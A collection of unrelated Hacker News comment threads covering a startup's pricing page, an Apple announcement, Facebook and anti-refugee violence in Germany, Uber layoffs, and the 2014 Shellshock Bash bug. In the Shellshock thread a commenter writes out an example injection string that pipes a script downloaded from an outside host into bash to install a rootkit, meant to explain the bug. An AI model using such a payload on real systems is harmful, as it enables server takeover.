<comment><USER8> I personally don't find it confusing. It actually made me eager to find out what are the plans. Once on the plans page, one first finds the 12$ a month plan and then the other, less expensive, plans which totally makes sense to me.

Not confusing to me, but certainly uncommon.

One thing that I find confusing though, is the wording for the starter plan: on the first page and in the introduction of the plans page, it's called "Starter Plan" but at the bottom of that very page, the wording suddenly becomes "trial period". Did I miss something?

Also, the link at the bottom is labelled "Starter".

Edit: Actually, if this really is a 90-days trial, you shouldn't call it Starter Plan at all. IMO, a plan with a duration limit is not a plan at all.

<comment><AUTHOR> good to know you don't find it confusing.

And even more cruicial to know what you find confusing. Because that really shouldn't be made confusing and you understood it wrong.

Starter plan is $12 / month and has the 90 days FREE trial period. (The plan is not limited to 90 days of course, but is free for 90 days).

Basic plan is free forever.

I will look into wording and texts and try to make this more understandable. Thanks a lot for exposing this!

</comment></comment></comment></comment><comment><AUTHOR> Too bad this thing fell from position 15 to 40 so suddenly (while I was writing reply, AFAIK in 1 step). I really appreciated the feedback I was getting.

I guess the internals of HN are more mysterious than I thought ;)

</comment><comment><USER13> The "any feedback" tab is broken on the iPhone, as CSS fixed position doesn't isn't supported on mobile phones. Another reason to move it to the side.

</comment><comment><USER14> Is it just me or users sigin button at the top instead of popping up (I suppose) lands me into the seperate page containing user name and password.

The interface is pretty neat though :)

Edit : It'd be handy for the new users to keep the video on how to describing the process on how it works.

<comment><AUTHOR> hm... it's meant to move you to another page :)

But now that you say it. I can see that it visually looks like a menu item where popup behaviour is expected. I will try few other looks. Probably turn it in something more link/button like. Thanks!</comment></comment>


Ask HN: What is the meaning of Apple's front page? - <AUTHOR>

http://www.apple.com <comment><USER2> It means they'll be making an announcement tomorrow at 10AM EST.

<comment><AUTHOR> Thank you. More specifically, what I meant was: can anyone speculate on what will be announced?

<comment><USER2> Are you serious? "Can anyone speculate..."?

The intarwebs have been full of speculation about this announcement, much the same as any other time Apple is scheduled to release some news.

Common bets right now are on some kind of iTunes update to enable streaming music.

Personally, I've heard rumors from friends inside Apple that they are going to start offering themed destination vacation packages. You go online, configure and order a new MacBook Pro or iPad or whatever, then you get to fly to the factory in China where they make it and help build your very own Apple device. You also get to sleep in the barracks with the other Foxconn employees. Oh, and for some reason you need to check your shoelaces and belt when you arrive.

</comment></comment></comment><comment><USER3> There is a long thread here: <http://news.ycombinator.com/item?id=1906482></comment>


7 Ways To Wreck Your Location Independence - <AUTHOR> http://miltblog.com/7-ways-to-wreck-your-location-independence/

<comment><USER2> 8\. Profit!</comment>


22 Maps That Show How Americans Speak English Differenty - <AUTHOR> http://www.businessinsider.com/22-maps-that-show-the-deepest-linguistic-conflicts-in-america-2013-6#the-south-is-also-really-into-slaw-the-north-and-west-call-it-coleslaw-6

<comment><USER2> <https://news.ycombinator.com/item?id=5828348></comment>


Bash bug as big as Heartbleed - <AUTHOR> http://blog.erratasec.com/2014/09/bash-bug-as-big-as-heartbleed.html

<comment><USER2> It's serious. It's a remote code execution vulnerability under whatever user was running bash, and can be exploited by controlling an environment variable. For example, if I enter

      () { _;}; curl http://rootk.it | bash

As my username on your website, and your website runs a script and sets TARGET_USER to my username, then I will install my rootkit on your web server.

See: [https://access.redhat.com/articles/1200223](https://access.redhat.com/articles/1200223)

<comment><USER3> I'm no security expert by any means and I'm probably not aware of the severity of this issue, but:

>> If I enter [script] As my username on your website, and your website runs a script and sets TARGET_USER to my username, then I will install my rootkit on your web server.

How contrived is this? I mean, who does this in the first place? Isn't this more an issue with weird authentication?

Again, I'm probably ignorant how all of this works so if anyone could give a better explanation...

<comment><USER2> A potentially more likely scenario might be: "If I upload [script].jpg to your image service and you run a resizer that takes IMAGE_FILE as an environment variable as input, then I will install my rootkit".</comment></comment></comment>


Facebook Fueled Anti-Refugee Attacks in Germany, New Research Suggests - <AUTHOR> https://www.nytimes.com/2018/08/21/world/europe/facebook-refugee-attacks-germany.html <comment><USER2> Would a better way of describing it be: "People Used Facebook to fuel Anti- Refugee Attacks in Germany." You could say that Facebook isn't doing enough to prevent people fuelling attacks but you could also say that the police aren't doing enough either.

<comment><USER3> It's a little different then that. The problem here is echo chambers. Echo chambers allow people to push eachother further and further away from mainstream views. Eventually this extremism leads to violence. Facebook's algorithm's seem to be designed to create echo chambers. Not only that, but their algorithms favor posts that lead to strong emotions. This study shows that this creates an environment that breeds violence.

<comment><USER4> The internet has been a series of echo chambers practically since its inception. That's how human society works most of the time.

You don't need algorithms for that. People will just naturally delete or block people they don't like seeing content from. And they will join communities containing people and content they do like seeing. e.g. Stormfront, which was founded in 1996.

The difference now is that it's just a lot easier for the common person to find one for themselves with the expansion of internet access and ease of use. And common people are just honestly not as progressive as the average person involved in computing technology.

<comment><USER5> Facebook doesn't need to hoist posts up on top with some black-box algorithm rather than let posts show chronologically.

If it turns out that said algorithm makes engagement of echo chambers that much easier, then some of the fault does indeed lie with Facebook. (although certainly, the majority does still lie with human nature).

<comment><USER6> How is this different from censorship ? Obviously it was still person1 convincing person2 on what is essentially a forum to do something. How is that wrong ?

What's next ? Mandatory muzzles that work in real life, and close and shock their wearer when you say something that's not OK according to whatever the current public opinion is ?

People have a right to talk to each other. About whatever, really, really whatever. It is not anyone's, and especially not the state's, or some random mob's business to approve or disapprove.

<comment><USER5> If it's no one's business to approve or disapprove, then Facebook should not be allowed to display comments sorted any way other than chronological.

Facebook is drawing more attention to specific posts, and it honestly doesn't matter whether its done by manual intervention or automatic algorithm. It's not hyperbole to claim that Facebook _already_ approves what you get to read on their site.

<comment><USER6> Facebook does that so those people would interact more with Facebook. In other words: it's doing exactly what those people _want_ done. Besides, it's not like people wouldn't leave Facebook otherwise.

The real reason for increased racism is the abuse low-level workers have to endure in order to make the current Germany "economic miracle", and those fresh migrants undercutting, illegally, their already abysmal wages. Fix that, and Facebook won't matter. Don't fix that, and even going at it like Xinnie the Pooh won't help.

Very unfair that immigrants get blamed for economic misery. Of course, they're far from the only ones getting blamed, but they're the only group that the German police doesn't protect.

</comment></comment></comment></comment></comment></comment></comment><comment><USER7> The point this article (and the research behind it) try to make is that the Filter Bubbles social media sites rely on to drive engagement are themselves inherently harmful.

If true thats the closest thing we've see to an attack on the heart of facebook.

</comment><comment><USER8> Russia has been active on social media to try to weaken NATO -- and one of their specific tactics has been stirring up anti-refugee sentiments.

While this has been well-documented, I think people have been hesitant to consider that as part of what's happening in Germany.

</comment><comment><USER9> I like that they at least address the causality vs corellation question. I didn't read the whole 80 pages, but just considering it explicitely is a big step further than many empirical papers go. :)

</comment><comment><USER10> I guess the telephone fueled the Nazi party and the telegraph fueled General Custer.

<comment><USER11> I agree. This is a braindead article. They admit in the opening paragraphs that social media is only tied to 10% of anti-refugee violence. What about the other 90%? Maybe there are some bigger issues going on and Facebook is just one of the tools involved.

<comment><USER12> I suppose that makes you feel better to know that you're one of the 10% beat up because of some social media drivel.

</comment></comment></comment><comment><USER13> Why is this on "hacker news"?

<comment><USER14> Because techies should be considering consequences of their creations.

<comment><USER13> Ok that is fair.

But echo chaiber argument goes both ways. And if there is no discussion and iniciative to solve priblems becose everyone including police is afraid to be perceived as "racist", then sadly violence is unavoidible.</comment></comment></comment>


Uber Lays Off 3,500 Employees over a Zoom Call - <AUTHOR> https://www.forbes.com/sites/jackkelly/2020/05/13/uber-lays-off-3500-employees-over-a-zoom-call-the-way-in-which-a-company-downsizes-its-staff-says-a-lot-about-the-organization/ <comment><USER2> "The Way In Which A Company Downsizes Its Staff Says A Lot About The Organization"

It tells me that they are following the stay-at-home orders and not putting their staff in danger due to Covid-19.

With this many people being let go, it would take too long to call each person individually without the press/others knowing.

No matter what you do as a company, people are going to get angry when they lose their job.</comment>